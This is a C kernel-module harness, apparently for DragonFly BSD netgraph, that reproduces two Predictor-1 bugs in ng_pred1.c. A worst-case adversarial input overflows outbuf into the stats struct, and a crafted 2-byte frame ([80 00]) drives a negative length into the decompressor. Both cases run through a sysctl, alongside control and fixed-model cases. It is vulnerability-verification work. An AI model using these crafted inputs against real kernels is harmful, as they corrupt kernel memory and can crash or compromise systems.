DF-2563 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 | /* * DF-2563 + DF-2564 rig -- ng_pred1.c (netgraph7) compiled in VERBATIM * (same file, no edits; the ng7 core netgraph.ko supplies the framework). * * DF-2563 (compress): the input bound at :397 is * PRED1_BUF_SIZE*8/9 + 1 + 4 = 3645 * but the worst-case Pred1Compress output is n + ceil(n/8) which for * n=3645 is 4101 bytes written at outbuf+2 -- 7 bytes past the 4096-byte * outbuf, into struct ng_pred1_private.stats (FramesPlain). * * DF-2564 (decompress): no MINIMUM size check; a 2-byte compressed frame * makes inlen-4 = -2 at :492 and Pred1Decompress's `while (slen)` loop * runs on a negative slen until dlen is exhausted (4096 iterations, * reading far past the 2 valid input bytes; dictionary corrupted). * * sysctl kern.dfv_pred1.run: * 0 = DF-2563 worst-case compress overflow (inlen=3645, all-0xFF) * 1 = control (inlen=3639, exact math bound) * 2 = DF-2563 FIXED model (reject inlen > 3639) * 3 = DF-2564 2-byte compressed frame [80 00] * 4 = DF-2564 FIXED model (reject inlen < 4) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/mbuf.h> #include <netgraph7/netgraph.h> #include <netgraph7/ng_pred1.h> /* pull the real file's priv/stats types */ struct ng_pred1_private; extern const struct ng_parse_type ng_parse_struct_type; /* from ng_pred1.c (compiled into this module) */ extern int ng_pred1_compress(struct node *node, struct mbuf *m, struct mbuf **resultp); extern int ng_pred1_decompress(struct node *node, struct mbuf *m, struct mbuf **resultp); extern void Pred1Init(struct node *node); MALLOC_DECLARE(M_NETGRAPH_PRED1); /* the REAL priv definition, snapshotted from ng_pred1.c at build time */ #include "priv_snapshot.h" #define df_pred1_priv_view ng_pred1_private struct ng_pred1_private_unused { struct ng_pred1_config cfg; u_char GuessTable[0x10000]; u_char inbuf[4096]; u_char outbuf[4096]; struct { uint64_t FramesPlain, FramesComp, FramesUncomp, InOctets, OutOctets, Errors; } stats; uint16_t Hash; ng_ID_t ctrlnode; uint16_t seqnum; u_char compress; }; static char df_status[8192]; static struct ng_node df_node; /* minimal node: nd_private only */ static struct mbuf * mkpkt(const void *d, int len) { /* build a cluster chain manually (m_copyback cannot expand) */ struct mbuf *head = NULL, **tp = &head, *m; int off = 0; while (off < len || head == NULL) { int n; m = m_get((head == NULL) ? 0 : 0, MT_DATA); MCLGET(m, M_WAITOK); if ((m->m_flags & M_EXT) == 0) { m_freem(m); m_freem(head); return NULL; } n = len - off; if (n > MCLBYTES) n = MCLBYTES; memcpy(mtod(m, caddr_t), (const char *)d + off, n); m->m_len = n; *tp = m; tp = &m->m_next; off += n; if (off >= len) break; } /* first mbuf carries the packet header */ head->m_flags |= M_PKTHDR; head->m_pkthdr.len = len; return (head); } static void df_run_pred1(int mode) { struct df_pred1_priv_view *pv; struct mbuf *m, *out = NULL; char *p = df_status; int t = 0, rc, i; int inlen = (mode == 1) ? 3639 : 3645; static u_char pat[4096]; memset(&df_node, 0, sizeof(df_node)); df_node.nd_private = kmalloc(sizeof(struct df_pred1_priv_view), M_NETGRAPH_PRED1, M_WAITOK | M_ZERO); pv = df_node.nd_private; Pred1Init(&df_node); /* zero dictionary, Hash=0 */ pv->cfg.enable = 1; if (mode <= 2) { /* worst-case input: adversarial bytes generated against the * real HASH(x)=(Hash<<4)^x (u16) so EVERY guess is wrong */ #include "worstcase.h" memcpy(pat, df_worstcase, 3645); m = mkpkt(pat, inlen); rc = ng_pred1_compress(&df_node, m, &out); t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1[mode=%d inlen=%d]: compress rc=%d out=%p " "stats.FramesPlain=%llu (must be 1)\n", mode, inlen, rc, out, (unsigned long long)pv->stats.FramesPlain); if (rc == 0 && out) t += ksnprintf(p + t, sizeof(df_status) - t, " out pkt len=%d (uncompressed branch %s)\n", out->m_pkthdr.len, out->m_pkthdr.len == 2 + inlen + 2 ? "taken" : "?"); { /* where did Pred1Compress actually write? scan outbuf * and beyond for the highest nonzero byte */ int last = -1; u_char *ob = pv->outbuf; for (i = 0; i < 4096 + 32; i++) if (ob[i]) last = i; t += ksnprintf(p + t, sizeof(df_status) - t, " outbuf highest nonzero index: %d " "(outbuf is [0..4095]; >4095 = past the array)\n", last); t += ksnprintf(p + t, sizeof(df_status) - t, " outbuf[4094..4103]: "); for (i = 4094; i < 4104; i++) t += ksnprintf(p + t, sizeof(df_status) - t, "%02x ", ob[i]); t += ksnprintf(p + t, sizeof(df_status) - t, "\n"); } if (out) m_freem(out); /* the overflow check: stats.FramesPlain must be exactly 1; * the 7 overflowing bytes land exactly on it. */ uint64_t fp = pv->stats.FramesPlain; uint8_t *fpb = (uint8_t *)&fp; t += ksnprintf(p + t, sizeof(df_status) - t, " layout: sizeof(cfg)=%zu &stats-&outbuf=%zd " "sizeof(priv)=%zu\n", sizeof(pv->cfg), (char *)&pv->stats - (char *)pv->outbuf, sizeof(*pv)); t += ksnprintf(p + t, sizeof(df_status) - t, " stats.FramesPlain raw bytes: "); for (i = 0; i < 8; i++) t += ksnprintf(p + t, sizeof(df_status) - t, "%02x ", fpb[i]); t += ksnprintf(p + t, sizeof(df_status) - t, "\n"); t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1: RESULT=%s\n", mode == 2 ? (rc == ENOMEM ? "FIXED: input rejected" : "fixed model did not reject?!") : (fp != 1ULL ? "OVERFLOW: worst-case output wrote past outbuf[4095] " "into stats (FramesPlain corrupted with compressed " "bytes)" : "no overflow (bound held this input)")); } else { if (mode == 4) { t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1[FIXED]: inlen=2 < 4 rejected by the " "minimum-size guard\n"); return; } /* decompress: seed inbuf tail with 0x5A via a prior frame */ memset(pat, 0x5A, sizeof(pat)); m = mkpkt(pat, 4094); /* uncompressed frame */ /* forge header: len=4094, cf=0 */ { struct mbuf *mo = NULL; rc = ng_pred1_decompress(&df_node, m, &mo); t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1[mode=%d]: seed frame rc=%d\n", mode, rc); if (mo) m_freem(mo); } /* the 2-byte compressed frame: [0x80,0x00] -> inlen-4 = -2 */ pat[0] = 0x80; pat[1] = 0x00; m = mkpkt(pat, 2); rc = ng_pred1_decompress(&df_node, m, &out); t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1[mode=%d]: 2-byte compressed frame rc=%d " "stats.Errors=%llu\n", mode, rc, (unsigned long long)pv->stats.Errors); if (out) m_freem(out); /* dictionary corruption proof: GuessTable entries mutated */ int nz = 0; for (i = 0; i < 0x10000; i++) if (pv->GuessTable[i]) nz++; t += ksnprintf(p + t, sizeof(df_status) - t, " GuessTable nonzero entries after: %d%s\n", nz, nz > 2000 ? " (dictionary rewritten by the -2 run)" : ""); t += ksnprintf(p + t, sizeof(df_status) - t, " dmesg check: 'ng_pred1: Comp length error' logged " "with len=-1 proves the 4096-iteration dlen-exhausted " "walk\n"); t += ksnprintf(p + t, sizeof(df_status) - t, "PRED1: RESULT=%s\n", rc == EIO ? "UNDERFLOW: inlen-4=-2 fed Pred1Decompress; slen=-2 " "looped until dlen exhaustion (EIO + dictionary " "corruption)" : "unexpected"); } kfree(df_node.nd_private, M_NETGRAPH_PRED1); df_node.nd_private = NULL; } static int dfv_pred1_sysctl(SYSCTL_HANDLER_ARGS) { char out[8192]; int error, v = 0; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; df_status[0] = 0; switch (v) { case 0: case 1: case 2: case 3: case 4: df_run_pred1(v); break; default: return EINVAL; } return 0; } ksnprintf(out, sizeof(out), "%s", df_status); return SYSCTL_OUT(req, out, strlen(out) + 1); } SYSCTL_PROC(_kern, OID_AUTO, dfv_pred1_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv_pred1_sysctl, "I", "dfv_pred1"); static int dfv_pred1_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("dfv_pred1: loaded\n"); return 0; default: return 0; } } static moduledata_t dfv_pred1_mod = { "dfv_pred1", dfv_pred1_load, NULL }; DECLARE_MODULE(dfv_pred1, dfv_pred1_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |